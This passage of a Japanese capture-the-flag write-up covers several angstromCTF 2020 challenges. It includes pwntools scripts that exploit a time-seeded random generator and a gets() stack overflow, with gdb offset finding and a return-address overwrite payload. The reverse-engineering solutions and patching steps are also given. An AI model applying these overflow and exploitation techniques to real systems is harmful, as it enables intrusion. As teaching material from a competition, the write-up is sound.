	p = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(random.randint(1, 30))])
	k = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(len(p))])

	x = otp(p, k)

	return x, p, k

random.seed(int(time.time()))

print("Welcome to my one time pad service!\nIt's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!")
print("You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.")
print("Enter:")
print("\t1) Request sample")
print("\t2) Try your luck at decrypting something!")

while True:
	choice = int(input("> "))
	if choice == 1:
		x, p, k = genSample()
		print(base64.b64encode(x.encode()).decode(), "with key", base64.b64encode(k.encode()).decode())

	elif choice == 2:
		x, p, k = genSample()
		print(base64.b64encode(x.encode()).decode())
		a = input("Your answer: ").strip()
		if a == p:
			print(os.environ.get("FLAG"))
			break

		else:
			print("Wrong! The correct answer was", p, "with key", k)

以下の部分より、乱数シードは時間によって決まることが分かります。

random.seed(int(time.time()))

ということは、ほぼ同時刻にサーバに接続すると同じ乱数が使われるのではないでしょうか?

間違った答えを送ると正解が返ってくることを利用して、以下の手順で問題を解きます。

  1. サーバに接続(通信1)
  2. すぐにもう一度サーバに接続(通信2)
  3. 通信1にて間違った答えを送り、正解を受け取る
  4. 得られた答えを通信2でそのまま送る。

以上を行うプログラムを作成し、実行しました。

from pwn import *

# 複数接続
io = remote('misc.2020.chall.actf.co', 20301)
io2 = remote('misc.2020.chall.actf.co', 20301)

io.recv()
io2.recv()

io.sendline(b'2')
io2.sendline(b'2')
print(io.recv())
print(io2.recv())
io.sendline(b'nandemoi-yo')
io.recvuntil(b'answer was ')
ans = io.recv().split()[0]
print(ans)
io2.sendline(ans)
print(io2.recv())

実行すると、フラグが得られました!!!!

root@kali:/media/sf_share/CTF/angstrom# python3 otb.py 
[+] Opening connection to misc.2020.chall.actf.co on port 20301: Done
[+] Opening connection to misc.2020.chall.actf.co on port 20301: Done
b'GzsOEjoYECQuHAAyADwI\nYour answer: '
b'GzsOEjoYECQuHAAyADwI\nYour answer: '
b'YuChxwHRKLEAwsF'
b'actf{one_time_pad_more_like_i_dont_like_crypto-1982309}\n'

BINARY

No Canary (Binary, 50 pts, 531 solves)

Agriculture is the most healthful, most useful and most noble employment of man.

—George Washington

Can you call the flag function in this program (source)? 
Try it out on the shell server at /problems/2020/no_canary or by connecting with nc shell.actf.co 20700.

とりあえずソースを見てみましょう。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	puts("Ahhhh, what a beautiful morning on the farm!\n");
	puts("       _.-^-._    .--.");
	puts("    .-'   _   '-. |__|");
	puts("   /     |_|     \\|  |");
	puts("  /               \\  |");
	puts(" /|     _____     |\\ |");
	puts("  |    |==|==|    |  |");
	puts("  |    |--|--|    |  |");
	puts("  |    |==|==|    |  |");
	puts("^^^^^^^^^^^^^^^^^^^^^^^^\n");
	puts("Wait, what? It's already noon!");
	puts("Why didn't my canary wake me up?");
	puts("Well, sorry if I kept you waiting.");
	printf("What's your name? ");

	char name[20];
	gets(name);

	printf("Nice to meet you, %s!\n", name);
}

flag()関数を実行できれば良さそうですが、main()関数からflag()関数に行くような処理はありません。

gets()関数が使われているのが気になります。

gets()関数はバッファオーバーランの危険性があるため、現在では廃止されています。

これを利用して、main()関数の戻りアドレスをflag()関数に書き換えることはできないでしょうか?

char name[20];とあるので、とりあえず20文字以上入力してみます。

PS C:\Users\kuzushiki\Desktop> nc shell.actf.co 20700                                
Ahhhh, what a beautiful morning on the farm!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault

Segmentation faultとなったので、バッファオーバーランが発生したことが分かります。

それでは戻りアドレスを書き換えてみましょう

まず、書き換え先であるflag()関数のアドレスを調べます。

root@kali:/media/sf_share/CTF/angstrom/binary# objdump -d no_canary | grep flag
0000000000401186 <flag>:

次に、何バイト書き込めば戻りアドレスが書き換わるのかを調べます。

root@kali:/media/sf_share/CTF/angstrom/binary# gdb -q ./no_canary
Reading symbols from ./no_canary...
(No debugging symbols found in ./no_canary)
gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ run
Starting program: /media/sf_share/CTF/angstrom/binary/no_canary 
Ahhhh, what a beautiful morning on the farm!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Nice to meet you, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x7ffff7fac580 --> 0x0 
RSI: 0x7fffffffb970 ("Nice to meet you, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!\n")
RDI: 0x0 
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe028 ("AA0AAFAAbA")
RIP: 0x4012dd (<main+324>:	ret)
R8 : 0x7ffff7fb1500 (0x00007ffff7fb1500)
:
:
省略
:
:
gdb-peda$ patto AA0AAFAAbA
AA0AAFAAbA found at offset: 40

pattcコマンドで文字パターンを生成、pattoコマンドで文字列が文字パターンの何番目に現れるかを計算します。

書き換わったRSPの値('A)AAEAAa'は40番目に出てくるそうです。

つまり何か40文字 + flag()関数のアドレスを入力すればflag()関数に遷移できそうです。

早速試してみましょう!

from pwn import *

flag_addr = 0x401186

io = remote('shell.actf.co', 20700)

io.recv()

payload = b'A' * 40 + p64(flag_addr)
io.sendline(payload)

io.interactive()

実行するとフラグが得られました!!

root@kali:/media/sf_share/CTF/angstrom/binary# python3 no.py 
[+] Opening connection to shell.actf.co on port 20700: Done
[*] Switching to interactive mode

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x11!
actf{that_gosh_darn_canary_got_me_pwned!}
Segmentation fault

REV

Revving Up (Rev, 50 pts, 926 solves)

Clam wrote a program for his school's cybersecurity club's first rev lecture! Can you get it to give you the flag?
You can find it at /problems/2020/revving_up on the shell server, which you can access via the "shell" link at the top of the site.

CTFサイトにあるshellでプログラム実行してみます。

team5954@actf:/problems/2020/revving_up$ ./revving_up
Congratulations on running the binary!
Now there are a few more things to tend to.
Please type "give flag" (without the quotes).
give flag
Good job!
Now run the program with a command line argument of "banana" and you'll be done!

type "give flag"と言われたのでgive flagと打つと、引数にbananaをつけろと言われました。

引数にbananaをつけて、再度試してみます。

team5954@actf:/problems/2020/revving_up$ ./revving_up banana
Congratulations on running the binary!
Now there are a few more things to tend to.
Please type "give flag" (without the quotes).
give flag
Good job!
Well I think it's about time you got the flag!
actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}

フラグが得られました!

actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}

Windows of Opportunity (Rev, 50 pts, 772 solves)

Clam's a windows elitist and he just can't stand seeing all of these linux challenges!
So, he decided to step in and create his own rev challenge with the "superior" operating system.

Linuxstringsコマンドを使ってファイルの文字列を確認するとフラグがありました。

root@kali:/media/sf_share/CTF/angstrom/rev# strings windows_of_opportunity.exe  | grep actf
bactf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}

actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}

Taking Off (Rev, 70 pts, 523 solves)

So you started revving up, but is it enough to take off? Find the problem in /problems/2020/taking_off/ in the shell server.

配布されたプログラムを実行してみましょう。

root@kali:/media/sf_share/CTF/angstrom/rev# ./taking_off
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Make sure you have the correct amount of command line arguments!

どうやら決められた数の引数をつける必要がありそうです。

root@kali:/media/sf_share/CTF/angstrom/rev# ./taking_off
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Make sure you have the correct amount of command line arguments!

4個つけてみたところ、値が違うと言われました。

root@kali:/media/sf_share/CTF/angstrom/rev# ./taking_off 1 1 1 1
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Don't try to guess the arguments, it won't work.

Ghidraを使って静的解析をしてみましょう。

main関数を逆コンパイルした結果を以下に示します。

undefined8 main(int iParm1,long lParm2)

{
  int iVar1;
  undefined8 uVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  uint local_b4;
  uint local_b0;
  uint local_ac;
  int local_a8;
  int local_a4;
  char *local_a0;
  byte local_98 [136];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("So you figured out how to provide input and command line arguments.");
  puts("But can you figure out what input to provide?");
  if (iParm1 == 5) {
    string_to_int(*(undefined8 *)(lParm2 + 8),&local_b4,&local_b4);
    string_to_int(*(undefined8 *)(lParm2 + 0x10),&local_b0,&local_b0);
    string_to_int(*(undefined8 *)(lParm2 + 0x18),&local_ac,&local_ac);
    iVar1 = is_invalid((ulong)local_b4);
    if (iVar1 == 0) {
      iVar1 = is_invalid((ulong)local_b0);
      if (iVar1 == 0) {
        iVar1 = is_invalid((ulong)local_ac);
        if ((iVar1 == 0) && (local_ac + local_b0 * 100 + local_b4 * 10 == 0x3a4)) {
          iVar1 = strcmp(*(char **)(lParm2 + 0x20),"chicken");
          if (iVar1 == 0) {
            puts("Well, you found the arguments, but what\'s the password?");
            fgets((char *)local_98,0x80,stdin);
            local_a0 = strchr((char *)local_98,10);
            if (local_a0 != (char *)0x0) {
              *local_a0 = '\0';
            }
            sVar3 = strlen((char *)local_98);
            local_a4 = (int)sVar3;
            local_a8 = 0;
            while (local_a8 <= local_a4) {
              if ((local_98[(long)local_a8] ^ 0x2a) != desired[(long)local_a8]) {
                puts("I\'m sure it\'s just a typo. Try again.");
                uVar2 = 1;
                goto LAB_00400bc7;
              }
              local_a8 = local_a8 + 1;
            }
            puts("Good job! You\'re ready to move on to bigger and badder rev!");
            print_flag();
            uVar2 = 0;
            goto LAB_00400bc7;
          }
        }
      }
    }
    puts("Don\'t try to guess the arguments, it won\'t work.");
    uVar2 = 1;
  }
  else {
    puts("Make sure you have the correct amount of command line arguments!");
    uVar2 = 1;
  }
LAB_00400bc7:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

以下の部分で引数のチェックを行っています。

if ((iVar1 == 0) && (local_ac + local_b0 * 100 + local_b4 * 10 == 0x3a4)) {
  iVar1 = strcmp(*(char **)(lParm2 + 0x20),"chicken");

0x3a4は10進数で932なので、3つの引数は以下になります。

local_b4  = 3
local_b0 = 9
local_ac = 2

また、4つ目の引数はchickenで良さそうです。

./taking_off 3 9 2 chickenで実行してみましょう。

root@kali:/media/sf_share/CTF/angstrom/rev# ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
a 
I'm sure it's just a typo. Try again.

次はパスワードを当てる必要があるようです。

以下の部分でパスワードの判定をしています。

 while (local_a8 <= local_a4) {
              if ((local_98[(long)local_a8] ^ 0x2a) != desired[(long)local_a8]) {
                puts("I\'m sure it\'s just a typo. Try again.");
                uVar2 = 1;
                goto LAB_00400bc7;
              }
              local_a8 = local_a8 + 1;
            }

desiredという配列の値と0x2aのXORを取ったものがパスワードだと分かります。

desiredの値は以下の通りです。

                             desired

           00602090 5a              undefined15Ah                     [0]
           00602091 46              undefined146h                     [1]
           00602092 4f              undefined14Fh                     [2]
           00602093 4b              undefined14Bh                     [3]
           00602094 59              undefined159h                     [4]
           00602095 4f              undefined14Fh                     [5]
           00602096 0a              undefined10Ah                     [6]
           00602097 4d              undefined14Dh                     [7]
           00602098 43              undefined143h                     [8]
           00602099 5c              undefined15Ch                     [9]
           0060209a 4f              undefined14Fh                     [10]
           0060209b 0a              undefined10Ah                     [11]
           0060209c 4c              undefined14Ch                     [12]
           0060209d 46              undefined146h                     [13]
           0060209e 4b              undefined14Bh                     [14]
           0060209f 4d              undefined14Dh                     [15]
           006020a0 2a              undefined12Ah                     [16]

それでは実際に計算してみましょう

enc = [0x5A,
    0x46,
    0x4F,
    0x4B,
    0x59,
    0x4F,
    0x0A,
    0x4D,
    0x43,
    0x5C,
    0x4F,
    0x0A,
    0x4C,
    0x46,
    0x4B,
    0x4D,
    0x2A
    ]

flag = ''
for e in enc:
    flag += chr(e ^ 0x2a)
print(flag)

正しいパスワードはplease give flagでした。

早速CTFページにあるshellに入力してみましょう。

team5954@actf:/problems/2020/taking_off$ ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
please give flag
Good job! You're ready to move on to bigger and badder rev!
actf{th3y_gr0w_up_s0_f4st}

フラグが出てきました!!

actf{th3y_gr0w_up_s0_f4st}

Patcherman (Rev, 100 pts, 259 solves)

Oh no! We were gonna make this an easy challenge where you just had to run the binary and it gave you the flag, but then clam came along under the name of "The Patcherman" and edited the binary! 
I think he also touched some bytes in the header to throw off disassemblers. Can you still retrieve the flag?

Alternatively, find it on the shell server at /problems/2020/patcherman/.

配布されたプログラムを実行してみましょう。

root@kali:/media/sf_share/CTF/angstrom/rev# ./patcherman
Hey you're not supposed to get the flag! Freeze!

どうやらプログラム自体を修正する必要がありそうです。

今回はIDAで静的解析してみましょう

main関数の分岐を調べてみます。

キャプチャrev

以下の部分が怪しそうです。

mov     eax, cs:dword_601050
cmp     eax, 1337BEEFh
jz      short loc_4007B0

dword_601050の値を確認してみましょう。

LOAD:0000000000601050 dword_601050    dd 0F00DBABEh

ここでdword_6010501337BEEFhと一致しないために、正しい方向に進まないようです。

dword_601050の値を書き換えてみましょう

IDAの場合、書き換えたい値を選択し、Edit -> Patch Program -> Change byteで値を変えられます

キャプチャrev2

最後に、Edit -> Patch Program -> Apply patches to input file で保存します。

書き換えたプログラムを実行すると、フラグが得られました!!

root@kali:/media/sf_share/CTF/angstrom/rev# ./patcherman_patched 
Here have a flag:
actf{p4tch3rm4n_15_n0_m0r3}

actf{p4tch3rm4n_15_n0_m0r3}

感想

問題の難易度が丁度良く、(BINARYを除く)色んなジャンルを満遍なく解くことができたと思います。

来年もやりたいですね。